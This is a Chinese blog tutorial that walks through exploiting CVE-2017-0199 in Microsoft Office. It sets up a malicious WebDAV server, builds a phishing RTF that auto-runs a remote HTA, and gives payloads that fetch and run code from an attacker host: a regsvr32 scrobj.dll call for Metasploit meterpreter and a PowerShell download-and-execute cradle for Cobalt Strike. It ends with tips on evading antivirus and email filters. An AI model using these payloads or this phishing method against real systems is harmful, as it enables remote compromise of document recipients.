CVE-2017-0199详细利用过程

漏洞原理

该漏洞发生在嵌入链接对象时[即所谓的 OLE],大致的触发执行过程是这样的,当用户尝试点开一个包含此漏洞的 word 文档时,word 会根据之前嵌入好的链接对象自动向远程 web 服务器发起一个 HTTP 请求,而此请求实际上是去请 求一个 rtf 文件资源,之后 web 服务器则会根据自身的 mime 类型返回一个事先准备好的 RTF 文件,当第一次链接对象嵌入完成以后,我们接着再返回 web 服务器将此请求的 mime 改为 hta 类型,rtf 文件中的数据也改为恶意 hta 代码, 之后,当目标下次再打开 word 去请求时实际上就会返回一个 hta 文件了,而此时系统则会通过 COM 对象来查找能处理 application/hta 类型的程序,在 windows 中默认正好是使用 mshta.exe 去执行 hta 脚本,而恰巧这个 hta 脚本正 是我们早已精心准备好的 powershell 或者 vbs 的 payload,这才间接性的导致了我们 payload [ 专门用于加载远程的 shellcode(恶意代码) ]在远程目标机器上执行,其实,简单一句话概括如下

该漏洞利用 OFFICE OLE 对象链接技术,将包裹的恶意链接对象嵌在文档中,OFFICE 调用 URL Monike(COM 对象),将恶意链接指向的 HTA 文件下载到本地,URL Moniker 通过识别响应头中 content-type 的字段信息最后调用 mshta.exe 将下载到的 HTA 文件执行起来

什么是hta

其实,它就是一个用 html 写的简易系统程序,通过在 html 中嵌入<script>标签可以很方便的调用 windows 的各种系统工具来执行命令或者代码,所以至今仍被许多木马所滥用,他们本质上大都是借助此特性来触发执行恶意代码的

hta弹出计算器demo

<html>
<head>
 <script>
 k = new ActiveXObject("WScript.Shell"); 此处通过 WScript.Shell 组件来执行系统命令,很多 asp,aspx 代码中默认也都用的这个组件
 k.run("%windir%\\System32\\cmd.exe /c calc.exe", 0);
 window.close();
 </script>
</head>
</html>

rundll32.exe url.dll,OpenURL "C:\Users\11502\Desktop\calc.hta"

漏洞所影响到的 office 版本

Office 2007, Office 2010, Office 2013, Office 2016 本次用的 Office 2016 增强版

漏洞利用基础web环境搭建

安装好apache2 apt-get install apache2 -y

利用 a2enmod [ apache2 自带的模块管理工具 ] 启用 webdav 模块

# a2enmod dav
# a2enmod dav_fs
# a2enmod dav_lock
# a2enmod headers
# service apache2 restart
# netstat -tulnp | grep "80"

到 apache2 的 mime 配置文件中去添加 mime 的 rtf 类型

# vim /etc/apache2/mods-enabled/mime.conf
AddType application/rtf .rtf 注意,先添加 rtf 类型

而后,因为在上面已经事先启用了 webdav 模块,所以此处只需要把相应的配置写到 apache2 主配置文件中重启服务,即可开启 apache2 对 webdav 功能的支持,开启它主要是为了能接收外部的 PROPFIND 请求,防止第二次请求时出错

# vi /etc/apache2/apache2.conf
Dav on
# service apache2 restart

在160行左右

钓鱼文件构造

新建一个word文档

将其另存为rtf文件

把上面另存为的 rtf 文件传到自己 web 服务器的根目录下

# mv exploit-demo.rtf /var/www/html/
# ls /var/www/html/

此时访问rtf文件 并用 burpsuite 拦截该请求,观察返回的类型是否为 rtf,注意,此处必须返回 rtf 才行,不然在后面链接对象时可能会出错

如果返回结果不正常有很大几率是浏览器缓存的问题,清理一下缓存即可

而后继续编辑最开始的 exploit-demo.docx 文件 在插入栏下将其插入链接对象

这是插入之后的效果,多出来一模一样的内容

回到我们Linux上传的rtf文件 将其内容清空

cat /dev/null >exploit-demo.rtf

修改为如下内容

<script>
var a = new ActiveXObject("wscript.shell");
a.Run("%SystemRoot%\\system32\\calc.exe"); 注意,此处的 hta 只是暂时先简单的弹个计算器程序出来
</script>

去修改 apache2 的 mime 类型,把之前添加的 mime 的 rtf 类型改为hta

# vi /etc/apache2/mods-enabled/mime.conf
# AddType application/hta .rtf 

再次抓包访问发现已经变成了hta

这时我们打开word,发现已经弹出了计算器

为了能让文件一打开就自动触发执行我们指定的恶意程序,还需要再次把 CVE-2017-0199-exploit-demo.docx 另存为 CVE-2017-0199-exploit.rtf 格式,然后用 notepadd++去编辑 CVE-2017-0199-exploit.rtf 文件,将 其中的\object\objautlink\rsltpict 全部替换为\object\objautlink\objupdate\rsltpict 而后保存,注意,有些杀软就会去识别 OLE 中是否包含有 objupdate 控件,如果有就进行拦截

目标只要打开不需要点yes就会触发

配合 Metasploit 实现 meterpreter 上线

msf > use exploit/multi/script/web_delivery
msf > set target 3
msf > set srvport 8081
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 192.168.3.249
msf > set lport 1234
msf > exploit -j

将rtf内容替换为以下即可

<html>
<head>
<script>var c= 'regsvr32 /s /n /u /i:http://192.168.3.249:8081/XYQTheVbMAMNzp.sct scrobj.dll'; new ActiveXObject('WScript.She ll').Run(c,0);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

注,上面的 regsvr32 是一个注册动态链接库的命令行工具,通常都会被用来执行我们自己的各种恶意 payload,里面参数的具体含义如下

/s 静默执行
/n 指定不调用 DllRegisterServer,此选项须与/i 共用
/i 调用 DllInstall 将它传递到可选的[cmdline],在与/u 共同使用时,它调用 DllUnstall
/u 反注册控件

成功上线

洞配合 CobaltStrike 实现 beacon 上线

注意选择payload时不要勾选64位

将rtf改为以下内容

<html>
<head>
<script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://*/readme\'))"'; new ActiveXObject('WScript.Shell').Run(c,0);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

成功上线

关于自动化生成rtf的脚本

https://github.com/bhdresh/CVE-2017-0199 
# python2 cve-2017-0199_toolkit.py -M gen -w test.rtf -u http://192.168.0.104/test.rtf

关于在实战利用中自己的马或者 shell 不能正常上线的一些可能性

目标系统已经早已打好相应的漏洞补丁
目标机器在内网且根本无法正常访问外网,也就是说,根本没法下载自己远程的 payload 来反弹 shell,也就是说,因为无法正常连外网,马根本就上不了线
被目标的各种 ids / ips 设备侦测到了,阻断了 shell 的反向链接
所使用的 payload 或者马压根就不免杀,一上去就被对方杀软干掉了
用于发信的邮箱不靠谱,发过去可能就直接到对方垃圾箱了或者干脆根本就没到对方邮箱就被各种规则过滤掉了
目标邮箱可能已弃用,长时间没人看
被对方防护匹配到该漏洞利用样本或者其它敏感特征直接被拦掉
目标系统自身的问题,比如,某些兼容性问题...导致 word 执行异常或崩溃
如果自己用的是常规 tcp 马,马的回来端口尽量选择用一些穿透性相对比较好的,比如 25,110,53,80,443...如果直接用的隧道马,这些就没什么所谓了
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值